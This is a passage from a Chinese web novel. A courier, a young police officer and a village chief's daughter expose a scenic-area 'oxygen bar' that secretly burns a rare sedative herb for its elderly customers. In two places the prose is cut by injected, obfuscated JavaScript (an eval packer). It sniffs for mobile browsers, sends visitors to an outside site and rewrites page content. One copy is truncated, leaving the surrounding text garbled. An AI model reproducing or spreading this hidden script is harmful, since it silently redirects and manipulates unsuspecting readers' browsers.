“你还真要来啊。”小象有些意外,不过也没太纠结,指了指不远处的车站台说道,“里面有个天然氧吧的那个,明天我会坐最早的车过去,你要去的话也可以和我一起。” “好哦!”小二开心地笑道,“谢谢你,同志!” 小象摸了摸脸,莫名有点不好意思。 “…那个景区…”小三若有所思,随即微笑着指了指自己说道,“我也想去看看,能带着我嘛?行行好嘛,如果有警官你带着的话我也不用买票了吧!” “…倒是可以啦。”小二意外道,“不过你去干什么?你是本地人吧,而且应该是长寿村里面的村民。按理说那个天然氧吧就是号称在模拟你们村子里那个‘长寿河之源’边上的环境,你去看什么?” “就是因为这样才想去看看呀!”小三煞有其事地皱眉道,“检测一下那边的环境啊态度啊之类的,会不会给我们村的招牌丢脸,你懂的吧警官?” “…哦!我懂了!”小二郑重点头,“那么明天见吧,你也和我们一起坐公交车吗?” “那倒不用啦…我家离那更近点,中途上车更方便。”小三招了招手,“明天见!” 告别二人,小象继续前往酒店,这儿并没有寻常城市中遍布的连锁式酒店,只有本地人营业的公寓式居所,多为长租房。 那些想要接近“长寿”但又不愿意过“村”人生活的游客们大多在此停步,上楼,在每日清晨打开面朝远处村落的阳台玻璃门,深呼吸,叹一口与之同处一片区域的氧气,眺望群山,随后低头被满地广告败去一半的闲情逸致。 小象没能顺利抵达那一步。 19. 长寿村与过去的秘密-上-2 “…所以,你的意思是。”她看着眼前柜台后方几个丝毫没有接待者态度的工作人员,平静地问道,“在你们完全没提前通知过的情况下,我的房间被你们擅自出租,明天早上我必须带着所有东西离开这里,而你们不准备为此负责,对吗?” 那几人眼神交流,总算是有个人开了口,“诶,真的非常抱歉这位客人,我们会将定金和补偿打给您的!就是,这不是旺季到了嘛,之前有个人在这治好了脑癌你知道不?那报道发出去之后这一块每家的房间都被订了!都是至少住三个月的,明天要到的那位客人指明要你那间屋子,你又只住三天,就只能…” 小象不知道,她抬起手捏了捏眉心,一边取出手机一边疲惫道,“这关我什么事?” 差旅费由公司报销,但预定与一系列工作都由她自己完成并负责,这种情况下她甚至没法向公司寻求帮助。或许是因为这里太偏远了,连她那号称海里都有补给处的公司都没插手此地旅游业。 她寻找附近的酒店,果不其然根本没有空房,只有几家价格飞上天的“疗养空间”亮着号码显示可以联系。 她抬头,看着那又开始踢皮球的员工问道,“你们等我站在这了才说,是有准备其它解决方案吗?没有的话我报警了。” 本来还有些乱的员工听了这话忽然就一同安静了下来,不知是哪个突然轻笑了一声,随即柜台后方的氛围变得轻松了起来,那些人彼此对视间传达着嘲讽的笑意。 所以是没用的,小象明白了这一点,随即本就因为长时间坐车而僵硬的脊椎隐约吱吱作响,她听见自己的身体内部传来深呼吸的声音,很响,那声音与眼前这些人窃窃私语般的碎音无法交融在一起,因为隔了道名为“小象”的墙,墙被两边同时打扰,烦得要死。 “反正就一晚,你住不住?”其中一个笑着问。 “…钥匙给我。”小象说,她决定先休息,她真的需要休息。虽说大概率不会得到回音,但小象还是在进了房间后将自己的遭遇告知当地有关部门,对方表示同情并会在三个工作日内给她答复。 房间性价比低,刚来到这里时小象就发现这里的物价和本国大城市不相上下,就比如眼前的居住空间,同一价格,她能报销一线城市中心区域的同面积舒适型酒店房间,后者的房间管理做得更好不说,桌子上的矿泉水也是免费供应的。 看着那标着“长寿水”标签的三无塑料瓶,小象喝了口便利店买来的瓶装水,没觉得这能有什么区别。比起喝长寿水她选择今晚早点睡,于是她洗漱完了就躺上床,并打开电视。 第一个蹦出来的就是本地新闻台重播,画面中,一位眼睛周围白了一大圈的无发老人正坐在轮椅上笑不见齿,她昏暗到看不清眼珠子的视线前方坐着个手拿麦克风的记者,二人背景是一面白墙,画面下方是蓝底白色大字:八旬老人在长寿村成功战胜脑癌。 “…啧。”小象没想到这都能看见害得她可能会流浪街头的元凶,但她也没换台,就这么看了下去。 那位记者对着摄像头用激昂的语气介绍了一番老人的过往:这位老人因癫痫与肺癌受尽折磨,在多处医院辗转后又被确诊了脑癌,那压着脑干的肿瘤干扰了老人本就衰弱着的神经系统,而那副年迈的身躯本就一直靠输液吊着命,几乎就是一具批了层皮的骷髅,根本撑不住一次开颅手术。 即使被这样刻薄地评价,那位老人也没有任何反应,小象在心里为其乐观心态感到羡慕,并继续看了下去。 老人当时已经失去了交流能力,而其子女也因求医花光了大半积蓄,但她们依旧没有放弃,绝望之下,她们听说了长寿村的名号,顺而打听到那长寿河的源头有一处神秘山洞,村中老人病了就在此歇息,于是才健康长寿。于是她们千辛万苦带着老人来到了这里,又去了长寿村门前,声泪俱下地求那村长给老人一个活命机会。那村长被其孝顺感动,考虑后答应了她们的请求,带着老人单独进入了长寿村。大概两周的时间内没有任何消息传出,就在其家人焦急起来时,村长带着那老人回到了她们身边。 奇迹般地,老人的脑癌,癫痫,肺癌,以及其它疾病导致的一系列症状全都消失了,在她们的注视下,老人甚至开口说话—— “我,感觉很好。”那老人用低哑的声音缓慢地说道,“这种感觉,我只在年轻的时候感受到过,真的,很好,我很好。” 那记者又夸赞了一番其家人的眼光,问道,“众所周知长寿村不对外开放,大家其实都很好奇,您当时在村中都经历了些什么呢?” “…我答应了村长,要保密的,我可不说。”老人笑着摇了摇头,她每次笑都带起肩膀一次颤抖,就像在用力。 “真的没有哪怕一点点东西可以透露给我们吗?”记者刻意压低声音说道,“一点点就好,只是感受也好,再小的东西都可以!” “…其实,一开始,我什么都看不见。”老人缓慢地说着,用枯瘦带斑的指干点了点起了褶子的侧头,摄像头转过去,看见了头骨透出皮肉表达的起伏,老人一点一点地戳着,说道,“看不见,听不见,闻不到味道,感觉不到冷热,又吃不了东西。说真的,那个时候的我,和一具尸体没什么区别。时间过得很慢,我什么都想不了,却又一直在想,时间,过得很慢很慢。” “噢…”记者适时地表达同情,“那一定是很痛苦的…” “就连‘痛苦’我都没办法去想。”老人说,“我只是一具被动地感受一切,却又无法理解任何东西的,尸体。我被带去了一个地方,我根本不知道我在哪,你知道,我再前一次清醒还是在北边的一家医院,睡了好久后我睁眼,风吵得很,窗外哪里都是沙子。然后我闭眼,不知怎的就变成一具那样的尸体,然后,很久之后,我再醒过来,感觉啊,世界很安静。” 说到这里,老人的脸上流露出了一种对其年龄段而言过于费劲的表情,复杂过份,如果一定要形容的话,小象觉得那是一种迷醉的表情。就像是艺术家被灵感击中,美食家品味顶级食材,小说家完成一部作品。喜悦到不自禁叹息,满足,却又惋惜,对自己未来难以再回到这一刻感到悲哀。那老人的脸上挤下了这么多东西,可能是太重了,令其忍不住低下了头,弯折的颤抖脖颈末端链接着一颗过重过老的圆球,球也跟着肩膀一同颤抖着,好像皮之下的什么要破土而出了似的。 “我没办法和你形容那种感觉。”老人依旧低着头,用颤抖的声音说,“只能说,我感到轻松,我差点以为我是死了。那是,没错,那是新生一样的感觉,一切都很新,很轻盈,直到我真的醒过来后一切才落回实处,感受到脖子有点痛,我才意识到自己确实还活着,还在自己的身体里,还,很老…” 说到这里,老人手指突然弯折,带斑指骨挠了挠脖子,有一点皮屑被带下,几乎看不清。 “…焕然一新,是这种感觉没错吧!”记者向往地说,“果然无法想象啊,不得不说我有点羡慕了,如果说我也能进去看看就好了…” 那老人缓缓抬起了头,颤抖平复,露出了微笑,点了点头。 随后二人又聊起了些体验后续相关问题,无聊得很,小象越看越困,最后干脆把电视给关了准备睡觉。 电视关上后后一切变得寂静,这儿比城市中安静太多了,离山又还有些距离,于是就连自然的声音都没有,能被听见的只有被子摩擦声与地板偶尔的叫声,除此之外什么都没有,风声也没有,安静得叫人发蒙,这寂静反而让小象清醒了些。 那个节目,如果说是诈骗的话风险也太高了,或许确实是一次奇迹般的巧合,毕竟人身体里面发生了什么人又管不了,她这样在寂静中思考道,又疑惑起长寿村不对外开放的原因。若是要将商业化贯彻到底,那就该趁此机会,以长寿河源头为核心,将地块以距离分割报价出租,这样引起外界轰动又不愿继续营业,小象就只能认为是那些村民对自家特产有过保护欲,或信心不足了。 那村里的山洞内到底藏着怎样的秘密呢?小象有些好奇了。 说起来,还得头疼一下住宿问题。即使交付流程非常顺利,小象返程也赶不上当日往返城市的大巴车。想到这里她又想起节目中那老人,那是近两周前发生的事,不知对方是否知道自己睁个眼就带来了这样的变化。 带着种种思绪,小象睡去,一夜无梦。 第二日,小象在车站遇到了似乎正在发呆的小二,警官身上的一切都规整得如同崭新出厂。巴士已经停靠在前,但她没有上车,小象站她身前招了招手后她才回过神来,笑着打了招呼。 “早上好——你怎么带这么多东西?”小二惊讶道,转而怀疑了起来,“难道说这些全都是…?” “…要真是如此那我也能轻松很多。”小象叹了口气,将自己昨晚的遭遇告知了这位新上任没几天的民警,二人聊着天上车。 巴士说是准点才开,现在空间已被塞满了一半多。站在车头放眼看去都是些没什么区别的人:那些身着闲适衣物的中老年人几个几个地聊着,面含期盼,谈话间都是对长寿村神秘之处与先前脑癌治疗案例的好奇,而她们中的部分旁边陪着个年轻人,脚边腿上放着个包,这些人大多低头看着手机不说话,或者忙着些什么。 小象发现游客之间也是有差异的,有年轻人陪着的大多更安静些,看着也更年迈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不知道。”小二摊手,“我没敢问,局里没记录,但我确实在仓库角落看见了那种很厉害的防暴盾。我猜确实是出过什么大事,事情解决了那些人就走了,要不是最近那个脑癌痊愈的新闻游客变多,局里人手本来也够应付这里的东西了。” 谈话间时间过去不知多久,巴士上的人越来越多,车厢越来越重,忽然,前方司机与排队的游客争吵了起来,因为满座后要提前发车,但车外人不愿等下一趟。 “这还是我第一次见这趟车被坐满。”小二感叹道,随即搓了搓脸露出一副严肃表情对小象说,“我处理一下民事纠纷,去去就回。” “加油哦警官。”小象说道,坐在座位上没动。然后她就看着小二差点没被排队的游客拉下巴士换人家上座,一通劝说好歹是把人不情不愿地劝回了站台。巴士门关,小二精疲力尽地回到了座位上,狠狠叹了口气,整齐的头发都打柳了。 “辛苦了警官。”小象说道,“至少没让车票钱打水漂,恭喜你。” “…这车票还挺贵的。”小二喃喃自语,“不过至少门票不要钱。” “那里面的项目呢?”小象问。 “…我不知道。”小二惊而抬头,“那个是不是很贵来着?!” 是,天然氧吧所在的森林溶洞景点入口门票是两位数,但如果要进氧吧躺着(三小时限时,单人一次,不可重复出入),那是额外三位数的价格(可自行选择附带其它服务的套餐)。注意,出于爱护环境考虑,游客不允许自带外来食物饮料入内(景区内有小卖部)。 “…括号里的东西好邪恶。”小象看着手机上的景区介绍感叹道。 小二沉默不语,双手握拳放在膝盖上,时而面目狰狞时而释然,最终,她面无表情地往座位上一靠,选择开始闭目养神。 哦不,看着如此变化的小象感叹,警官竟被景区介绍打倒了! 车辆驶入盘山公路,离山体较远的那一窗乘客看见远处的群山与不远处的吊脚楼群便议论起来,说那就是长寿村,看着和那什么书里写的仙境差不多。离山体较近的那一窗乘客只能看见没有距离感的山体,那很无趣,所以她们沉默以对。 于是那就是长寿村了吗?有幸因距离感而发现美的小象远望那处山间村落,从这个距离几乎什么细节也看不清,就只有一条条溪流是显眼的,而对它们的溯源都能追寻到村落的中心,也就是山脚下。小象注意到那有一小块像工厂一样的区域莫名其妙地出现在了那里,建筑规则而反传统,不知道是用来干什么的,灌输瓶装水吗? 随着车内安静,巴士也顺利地从公路驶进密林,大型机动车开启远光灯穿梭在枝叶与碎石之间,开道的声音与画面近在眼前,若是正处夜间一定和恐怖故事情节一样。海拔逐渐降低,一车人往山脚,也就是长寿村靠近,那也是这辆巴士停靠的第一站。 20. 长寿村与过去的秘密-上-3 车速减慢,小象看见远处靠过来一座与巴士差不多大的灰色字碑,飘逸红字上书“长寿村”,下面用小字写着景区标级。字碑旁有青石板路,一路延伸向左右两侧忙于开业准备的各类小贩,以及题着商店标牌的吊脚楼。 巴士广播提醒乘客长寿村站到了,几个导游竖起旗帜领着一波游客吵闹地下了车,转瞬间就空出了近一半的座位。 字碑旁也站着几个要上车的,多是员工模样,依然带着棒球帽的小三在角落显得格格不入。她旁边还有两人,其中,年约七八十岁的老人负手而立不张口,神态镇定;而另一位盘着头发的则看着和小二差不多大,正朝那老人说着些什么,却是得不到任何回应。小三看到巴士后朝老人说话,随即逆人流走向上客门。老人转身离去,她双手覆盖着麻布手套,年轻人匆忙转头,朝车上乘客露出了一副在白日便显出疲态的麻木面孔。 小象总觉得她看着有些熟悉,随即她想起,那盘发年轻人的眼睛周围也白了一圈,像那脑癌老人一样。 “这就是长寿村?”小象问小二,“不是说长寿村不开门吗?这里都做起生意了。” “哦,这里不是长寿村本村,只是围着它建起来的一片商业区。”小二比划了一个圈,耐心地解释道,“我记得是大概十几年前吧,这里发生过一起地震,没什么伤亡但建筑大多受损。本村重建时,市政府就提议说,修复时要在外围建一圈建筑,所以你看,那些建筑都挺新的,这块字碑也是。” 闻言小象看向远处,那被强行复古的楼房确实缺了些老建筑该有的缺点,地面无积水,广告宣传的也都是些外地随处可见的小吃或装饰。 “所以,相当于那村子多了个大型驿站。说是提议,但如果村长不答应的话村里也就修不成了吧?”小象笑了。 “正是如此哦。”回应这句话的人是上车的小三,她朝二人打了招呼就在旁侧坐下了,抬起手指了指小象的窗户,放低声音说道,“看见那两个人了吧?那是小四和小五村长,我们村的两位重要人士。” “村长?”小象又回头看了眼那老人,她不顾小四的追问,已经转身离开了,“她看着也就七八十岁啊,难道说只是看着年轻?” “哈哈哈!”小三笑得开心,她扶了扶帽子说,“什么呀?她老人家今年才六十不到呢,难道说整天皱着眉真的会显老?我下次一定和她说说!” “村长这么年轻呀!”小二也是第一次知道这件事,惊讶道,“我还以为长寿村的村长得快两百岁了呢!” 其实小象也是这样想的,但仔细一想,选村长可不能用年龄作为依据,哪怕是在活得久也是一种实力的长寿村。 “这哪行呢!”小三摆了摆手,“人越老越干巴,两百岁的人脑仁都缩成核桃大了,别说当村长,饿了都不知道要吃饭呢。” “哦…”小二闻言有些不满,皱起眉但没说什么。 “村长也就算了,那小四怎么就是你们村的重要人物了?”小象问道。 “那脑癌好了的老东西你们知道吧?”小三笑着问道。 “…知道。”小二回答,又忍不住说,“请,请不要用这种称呼啦!” “哼,这种东西一时半会可改不了。”小三无所谓道,又笑着说,“小四她啊,是那老头的孙子!” “…脑癌?”小象意识到了什么。 “嗯嗯!”小三点头。 “入职体检?!”小二也想起来了。 “没错哦!”小三满意地说,“现在这里一半的人流量可以说是她家里人带来的吧,那姑娘遇到这糟心事,大概是听了家里人意见后就也找了过来。但我们村里人基本上不出门,也不让人进,她就在我们村口支了帐篷守着呢,看着怪可怜的,要不是今早恰好遇到我,真不知道要等到什么时候去。” 车辆缓缓再次启动,小象回头,看见早已转过身的小四矗立在石碑旁一动不动,说道,“那你似乎也没帮上她什么,你们村长就这么走了。” “…是啦,她脑筋很顽固的。”小三叹了口气,“不过六十岁也不算个年轻人了,难道说我该给她买点保健品吃吃了吗?” “但你能让她出来呢,你和村长是什么关系?”小二好奇道。 “看不出来吗?”小三指了指自己的脸,“她是我妈,所以我说‘妈妈外面有个人找你诶你快去看看’她就出门了,顺便送我来车站。” “哇,官二代。”小象感叹道。 “哪里哪里。”小三嫌弃地笑了,“我进景区还得买票,她这官当的可真没用!” “…这样一说很奇怪诶。”小二疑惑道,“按理来说,这一块的景区都算是基于你们村开发的,这里本来算是你们家的一部分吧。景区工作人员不说,就连我这样的公务员都能免票,你们村的人为什么还得买票呢?虽然是半价的,但学生也半价呢。” “诶…这个啊。”小三挠了挠脸颊,“这件事解释起来还挺麻烦的。” “是政府与原住民的矛盾吧。”小象说,“你们那村长一看就不喜欢外人。” “…确实。”小三叹了口气,比划着说,“简单来说,现在从我们村那一条大白墙作为分界线,向前的一片,比如你们派出所啊酒店啊景区那块和我们即将要去的地方,是由市政府管理的区域;而向后的一片则完全不允许外界的人干涉,是我妈在管。所以,村门内外虽然都叫长寿村,但实际上,长寿‘村’和‘长寿村’相当于两个地方哦。” 她用重音标注了二者的不同,小象理解了,前者重点在“村”,是村民起居的地方,后者则是名叫“长寿村”的一个地方,或许在后面加个“旅游区”更为合适。 “所以,你们村真的叫长寿村吗?”她问道。 “理解得很快嘛!”小三满意地点头,“确实不叫长寿村,而叫‘寿村’,没有‘长’这个字,不过你们现在去找的话已经找不到原名了,是当年重建的时候村里那群老不死的非要改。” 说着她又笑了,“说不定本来那些人能活几百岁呢,这样一改就只能活一百多岁了,毕竟一百多岁是长寿,几百岁就是怪物了嘛哈哈哈!” “确实是这个理。”小象点头,“你很讨厌老人啊,是因为从小身边老人太多了吗?” “是‘只有’老人。”小三龇牙咧嘴地说,“你能想象吗?我出村读书前,村里最年轻的就是我爸,而我没有同龄人,到了学校我才知道大人脸上是可以没有皱纹的。但这几年我回来一看,却发现村里多了个七岁大的孩子,还不是我妹妹,天呐…” “…真是勇敢。”小二小声说。 “额。”小三说不出话,表情像是恶心。 “所以你回来是想,协助村内改革?”小象问道。 “那有什么用?这超龄养老院有啥好改革的,添加机器人护工?”小三摇了摇头,“我是回来劝我妈和我去城里生活的,我爸死了后她在村里也没同龄人了,那多无聊。” “哇…我可以理解啦,但她是村长诶。”小二说。 “…所以我才这样到处跑。”小三摊手,“我想让市政府派人接管村子里的事务,这样她就能安心离开那里啦。” “哇…你妈知道你这样想吗?”小二好奇道。 “知道啊。”小三点头。 “你挨打了没?”小象问。 “嘿嘿。”小三摸了摸帽檐。 “嗯…说起来你们村一直是自治的话,村长确实会很头疼呢。”小二思索着说,“你们村都是些老人,连个警卫都没人能当吧,更别提生活起居。” “这部分政府有派人帮忙,墙外有警卫看着想翻墙的人,而其它的…我只能说人可以活得很基础。”小三说道,语气又变差了,“麻烦的怎么想都是那群老东西吧。” “诶…”小二对此话题相当不适,顿了顿,又小声说,“但,但是,老人嘛,就是喜欢待在自己习惯的环境里的,也很难适应新环境。她们也算是看着你长大的,你这样做有想过她们以后该怎么办吗?” “…就是考虑过才这么做的,不然我才不想和政府的人打交道。”小三冷哼了一声说,“正常人放着不管就会自己死掉,但我们村里那些,不得不说真的有够能活,二十多年后回去看居然没少几个。” “哇!你——你这完全是危险发言!”小二警觉道,“要是哪天村里老人大批次死亡我肯定第一时间怀疑你!” “可恶!”小三气得咬牙道,“这样的话在桶装水里下毒顺带嫁祸给政府的计划不就彻底告吹了吗?你这新人警察给我等着!” “我们在车上。”小象说,“要么你们小点声,要么你们一会别和我一块下车,可以不?” 二人这才收敛了些,小象对这山村政治叹了口气,又问道,“说起来,那个脑癌老人后来怎么样了?小四在这的话,她家里人呢?” “哦,她们啊。”小三似乎是对这话题没什么兴趣,语气随意,“后来一直没走,你们一会去那氧吧里面就能看见吧,她们几乎算是那里的代言人了,吸引了一大批人给景区送钱。” “你不是去找她们的?”小象疑惑,“你总不能真是去监督项目质量的吧,你去那干嘛?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296740|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯…”小三似乎有些犹豫。 “不能说?”小象问道。 “…你说自己是送货的。”小三看着小象,问道,“交付货物后,你的工作就算完成了,对吧?” “是这样没错。”小象点头,“但交付现场你进不去的,肯定有人看着。” “怎么了吗?”小二好奇道,“你也想看那里面是什么吗?” “倒也不是,我大概是知道那里面是什么的。”小三说。 “咦?”小二不解,“你知道?” “…哼。”小三看了眼巴士里的其它乘客,笑了笑说,“这些就之后再说吧,总之,我想见的是那位景区管理小一。项目里那些套餐的价格你们也看见了,可以说,这地方一大半收入都靠那个氧吧。那位管理虽然不是能一锤定音的大人物,但这里大小事务都经她手,最重要的部分也是,算是相当有话语权了。” “你也这样说了,为什么你觉得她会见你,还会愿意和你聊聊?”小象好奇道,“你带枪了?” “…这也是危险发言。”小二小声说。 “没有,也不需要,这地方太原始了,那种高科技会水土不服的。”小三说着,看向小二笑了,“这还得拜托警官您协助我。” “…我?”小二迅速警觉了起来。 “如果事成的话,警官你也可以借此离开这鬼地方了。”小三鼓励道,“我保证这是合法合规,而且绝对合理的行为,而且,非常简单,只需要照着我说的做就好!” 小二还是有些犹豫。 “…警官,有些规则不过是看似无法打破而已,存在不过是因为有人靠着它生存,合理与否反而不重要。”小三扶着帽檐,轻声说道,“但总有些不得不无视规则去做的事,别担心,我会让结果变得合理的。” “…你说说看?”小二咽了口口水,压低声音道。 巴士停靠,三人,以及车上的几乎所有人都在此下车,脚一落地便直奔氧吧所在地而去。 那是一处位于石滩边山壁上藏于包围状密林中的空洞,说是天然形成的,有人工打磨的痕迹是为了更好地服务游客。网页宣称这里的环境与长寿河源几乎一模一样,空气中富含某种很厉害的物质,只要躺下并呼吸身体就能变好。那空洞是此处绝对的视觉中心,远远望去像是山中黑下去的一大块,车上那些本来一言不发的人下车后便急切地朝那黑洞中奔去,不一会,石滩上就看不见什么人了。 “…那个地方是很久以前地震的时候塌出来的。”小三看着那处巨大空洞说,“政府的人找了专家,在里面支了几个点,就说能用了,要我说迟早有天得塌。” “一会我们都得进去,这种话等我们出来了再说吧。”小象说,“所以,你说自己知道这箱子的东西是怎么回事?我可不知道。” “你们真觉得有什么东西吸几口能让人多活几十年?”小三依旧看着远处,语气嘲讽,“都是假的,但那脑癌老头说的却是真的,我们村子里,那河源的山洞确实有奇怪的作用在,老东西生了病的进去躺几天,出来基本就又能作妖了。” “这到底是为什么呢?”小二非常好奇,“只是进去躺几天?没有任何药物或者器具辅助,躺几天就好了?” “这个我不知道,我不是专业的。”小三摊手表示不负责,“总之,那氧吧与其说在模拟山洞的环境,不如说是直接模拟了它能带来的作用,也就是让人感觉很轻松。而它的手段就直接多了——用一种特殊的植物,那种植物处理后燃烧的气味能让人心跳减缓,从而令人感到放松和平静,但本身又不至于上瘾。” “…你确定吗?”小二诧异道,“这,这不就是在说,这个景区不仅是在诈骗,还在给来这的游客偷偷用来路不明的药?!” “不是偷偷,管理有说明‘富含特殊物质’不是吗?”小三摇了摇手指,“也不算来路不明吧,这种植物来自一处特殊的湖周边,它只能在那种特殊的环境下生长,但那里的它很早以前就绝迹了,但好歹还有一伙人在试图培育。本来景区用的都是从那些人手里买来的,但前段时间那些人出了点事,供应链断了,这才费老大劲找你从外头带过来。” 闻言,小象顺势看向了手里的箱子,按照保险,这其中内容物计价可比黄金贵多了,她又抬头看向小三问道,“所以你确定吗?你是怎么知道这些的?” “我的工作让我凑巧知道了这种植物的存在,后来我问了我妈就猜到了大概。但很遗憾,我不确定。”小三指了指远处的山洞,笑着说,“所以走吧,现在我们去找证据!” 21. 长寿村与过去的秘密-中-1 好消息,小象不需要买任何一张门票。 天然洞窟内的人工作间中,小象向小一交付了货物,她看着眼前和自己差不多大的人熟练地安排工作人员在门外守着,打点剩余工作,随后与她单独留在室内。 那差不多肺叶大小的铝合金保险箱每逢安检必被单独叫出再三检查,现在也差不多,小一盯着它看的眼神似乎是要将其洞穿一般,或许是顾及有外人在旁,她及时收回了视线,扶了扶自己的银框眼镜。 “箱体状态,重量,时间日期,交接照片,签字,好 。”小象一一确认了工作内容,最终将收据交出,“没有问题的话本次运输工作完成,感谢您的选择与信任,期待您为这次体验给出评——” “行了行了。”小一不耐烦地打断道,又追问,“我听景区巴士司机说有个条子跟着上了车,还和你坐很近,怎么回事?” “…请问你是对哪部分有疑问?”小象问道,心中对此商业圈内部联系之紧密有了新的认知。 她看着像不知情,小一凝神盯着对方,又忍不住心里怀疑小象是否对这内容有所察觉,从而做了些多余的事。若是那些提前打交道过的巡警还好,她们来了塞点钱就能解决。但最近有个外地派来的新警察,满腔热血想要维护社区安全,什么都没有但就是有使命感这种没用又不值钱的东西,偏偏,来的正是这不会听劝的。 “总之,你和那家伙说了什么?”小一盯着小象问道,“回答一下吧,这是售后需求。” “…看到了吗?”小象指了指自己箱子里其它行李,“我被住的酒店赶出来,附近没空屋子,报警还没人管。我今早上车遇到了那位民警,她人挺好,说会陪着我回去过问酒店前台,一会就和我一起走了。” “哦…这样。”小一顿了顿,继续问,“那,另一位,那个长寿村上车的村民你认识吗?” “不认识,车上随便聊了聊,这本地人还挺热情的,怎么了?”小象疑问。 “…没事了。”小一收回眼神,摆了摆手说,“你走吧,记得把门带上。” “那么,期待下次合作。”小象点了点头,转身离开了。 小一眼见门被关上,锁舌自动紧扣,这才放心输入密码打开保险箱,她提前屏住呼吸,但还是嗅到了些许那箱中黑色干制草本的奇妙气息。不敢多犹豫,她紧忙戴上手套取来容器,将那价值千金的珍贵草药转移至密封罐中,态度像是对待刚出生的婴儿,如释重负并期待。 “不,不许动——”有人破门而入,当然是小二,她没佩枪,带着警棍就冲进了工作间,好在执法记录仪有在好好工作。她后方是惊叫着匆忙赶来的工作人员与警卫,再后方是嬉皮笑脸的小三。 再再后方是小象,她探头看向屋内,与惊怒的小一隔着镜片对视,眨了眨眼。 “你——”小一甚至来不及放下手里的药草,那部分匆匆下落,碎在了自己的同胞上,部分弥漫成灰。 “我怀疑你违规使用非法药物迫害平民,现在把双手举起来!”小二满脸通红地高声喊道,她一进屋眼睛就乱飘,最后定格在那密封罐与还未被全数转移的干花上,心虚的表情一瞬间转移为惊喜,随即是愤怒,“好啊!你果然——” 直到这时,那后来的人才拽住小二,拉扯着她的胳膊,一边道歉一边要把她拉出去,小二挣扎着挥舞警棍,但又没真拿它往人身上打。 “都闭嘴!”小一怒道,现场安静下来,她摘下手套揉了揉眉心,再放下时,脸上已是充满亲和力的微笑,她朝那些工作人员摆了摆手说,“让我和这位警官聊聊吧,啊,门外的那位也是,请进请进。” 最后她才看向小象,笑容扭曲了一瞬间,声音也带上了些咬牙切齿的节奏感,“这位,合作伙伴,也请进来坐坐吧。” 工作间内只有两把椅子,但其实根本没人坐,小二紧张地握紧手里警棍,看着小一换了副手套继续处理草本,小象进门后也没说话,放好箱子就站一旁不动了,小三进了门后倒是自然而然地看起了墙上的合照。 “这就是那脑癌老头。”她指着其中一副回头说,“喏,刚才在外面你们也看见了吧,她们家应该是直接买了年票。” 三人进入氧吧后,一眼就看见了深处一圈被大叶植物围起来的“重疗养圈”,以及欲盖弥彰地藏在其中的几台躺卧式养生舱,最中间,特显眼的一台上面就摊着那位奇迹老人。 她像死了一样闭着眼,穿衣多到让自己看上去如气球般鼓胀,但再厚实的衣物都撑不起一具人样。老,病,残,魇,等等其它,不知是哪部分夺走了她皮与骨头内脏中间本该夹着的东西,让她裸露出来的哪部分躯体活像是骨头的贴皮画,是衣服的装饰品,宣誓不了一点人的主权。 她是这黑洞内的视觉中心,是在场所有求生者的榜样,跟被钉在十字架上似的,什么都没做就安抚了许多怀疑者的情绪。 老人旁边的沙发椅上坐着两个玩手机的中年人,一男一女长得不像,偶尔有进入氧吧的游客凑过去,想搭话或拍照,她们俩就不约而同地起身喊来警卫把人驱走。刚才小三也是利用了这一点调开大部分工作人员,让小二得以突入。 “…当然,这位可是我们的大客户,也是合作伙伴。”小一笑道,“这位老人自痊愈以来从未离开过这里,不仅是年票,那台养生舱可是我们特地为其定做,并空运——” “所以你们骗了那个老人好多钱!”小二斥责道,“你看看你都在做什么啊?!那个老人不该待在这的,她们家本来就没多少积蓄了,这里没有医生没有医疗环境更没有药!只有你们拿着这玩意糊弄大家,要是,要是人家出了什么事你们就只会推脱责任吧!” 说完,她气喘吁吁地盯着手里动作没停过的小一,就在她开始下一段之前,小一总算是抬起头,合起罐子摘下手套,微笑着问道,“说完了?” “…你什么态度啊?!”小二情绪与声音一同沉下。 “我的态度…简单来说就是无所谓。”小一表情没变,“我强迫那个老人,或者说门外的任何一个游客买票了吗?我拿着刀抵着她们的脖子,捏着她们的手指,绑架她们的孩子逼她们掏钱了吗?我甚至没有骗人——” “毕竟简介里提前说明过了。”小三说道,“对吧?” “…正是如此。”小一点头。 闻言,小二呼吸一滞,继而大声质问,“你敢把这玩意的真实效用告诉门外的人吗?!” “…你觉得她们都是一无所知的?”小一皱起了眉。 “…什么意思?”小二问道。 “她,他,她们。”小一抬手画了个圈,作为圆心包圆了工作间内全数合照,那些人都回报以笑脸,小一就也笑,她说,“这些都是我亲爱的大客户,都在重疗养圈里,每个都在转账之前都亲眼见过原型,看着它怎么被我碾碎,混进香薰中点燃,她们都在近距离闻到过它最无添加的气味,体验过最纯天然的效果。那时她们大多会闭上眼,现在,猜猜她们睁眼后问的最多的问题是什么?” 她看了一圈,没人回答,于是她笑着自问自答,“小一啊,这个药卖吗?” “这,这根本不是药!”小二怒道。 “这就是药!”小一沉声说,“哪种药没有毒?哪种药没有副作用?而且,这种甚至更天然,我只不过把一种干制植物加入了我的特制香薰而已,我从没说过这是药吧?这里是天然氧吧,来这里的人都是来呼吸的,其它服务都是‘额外’,是她们自己选择掏钱买的!我说过了吧,我可没逼她们做选择。” 说着,她靠近小二一步说道,“难道说,警官你要责怪那些花了钱的人吗?” “我,不是…”小二退后了一步。 “你当然不该!”小一高声说,“看看你,多年轻,多健康,你肯定无法理解那些人为什么要花钱进来躺着呼吸吧!你难道觉得她们是享受的吗?不是的!她们每个人都在忐忑不安,闭上眼也睡不着,大口呼吸也觉得喘不上气!总觉得自己要死了,总觉得这里没用,我就是在这样的人之中——” 